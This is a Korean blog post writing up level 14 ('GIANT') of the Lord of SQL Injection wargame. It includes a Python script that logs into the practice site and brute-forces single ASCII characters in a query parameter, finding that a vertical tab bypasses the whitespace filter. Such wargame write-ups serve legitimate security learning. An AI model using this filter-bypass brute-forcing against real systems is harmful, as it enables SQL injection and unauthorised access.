| 일 | 월 | 화 | 수 | 목 | 금 | 토 |
|---|---|---|---|---|---|---|
| 1 | ||||||
| 2 | 3 | 4 | 5 | 6 | 7 | 8 |
| 9 | 10 | 11 | 12 | 13 | 14 | 15 |
| 16 | 17 | 18 | 19 | 20 | 21 | 22 |
| 23 | 24 | 25 | 26 | 27 | 28 | 29 |
| 30 |
Tags
- 이상형 만들기
- 최강욱
- 홍혜걸
- 임영규
- 스콜피온킹
- 해킹
- 금리인하
- 미국 금리인하
- 김영권
- 리리남매
- 이지혜
- 픽크루
- 양적완화
- 이태원 클라쓰 15회 예고
- 킹덤 고근희
- 학교 개학 연기 4월
- 폰폰테스트
- 제넥신
- 성남 코로나 확진자
- 유튜버 김재석
- 조희연
- 뭉쳐야 찬다
- 성남은혜의강교회
- 고민정
- libtins
- 김영권 아내
- 은혜의 강 교회
- 김재석
- 불가피
- 스페인 코로나
Archives
- Today
- Total
Dork's port
LOS 14번 GIANT 본문
이번 문제는 띠용...입니다.
볼게요!
특이하게 from뒤에 저희가 shit에 준 값이 붙는군요.
그리고 그건 길이가 1이넘지 않아야합니다.
우리는 개행을 할 수 있는 뭔가를 찾아야하고, 찾을겁니다.
그래서 ASCII코드표를 보려했으나 귀찮음이 발동해서..
어차피 ASCII코드중 하나이겠지 싶어 brote force를 돌려봤습니다 하하하하하
from bs4 import BeautifulSoup
import requests
def login(id, pw):
url = 'https://los.rubiya.kr/?login'
data = {'id': id, 'pw': pw}
res = requests.post(url, data=data)
if res.status_code != 200:
print('Please check server status.')
exit(1)
if res.text.find('fail') != -1:
print('Please check your id or pw')
exit(1)
print('Login Success!')
return res.cookies.get_dict()
url = 'https://los.rubiya.kr/chall/giant_18a08c3be1d1753de0cb157703f75a5e.php?shit='
cookie = login('id','passwd')
for i in range(0,127):
res = requests.get(url+chr(i), cookies=cookie)
soup = BeautifulSoup(res.text, 'html.parser')
h2s = soup.find_all('h2')
if h2s:
print('Clear Secret is ASCII CODE {0}'.format(i))
break
성공이네요 :) 비밀은 ASCII CODE 11번에 있는 VT였네요!
'Lord Of Sql injection' 카테고리의 다른 글
| LOS 16번 ZOMEBIE_ASSASSINE (0) | 2019.01.12 |
|---|---|
| LOS 15번 ASSASSIN (0) | 2019.01.12 |
| LOS 13번 BUGBEAR (0) | 2019.01.12 |
| LOS 12번 DARKKNIGHT (0) | 2019.01.12 |
| LOS 11번 GOLEM (0) | 2019.01.12 |
Comments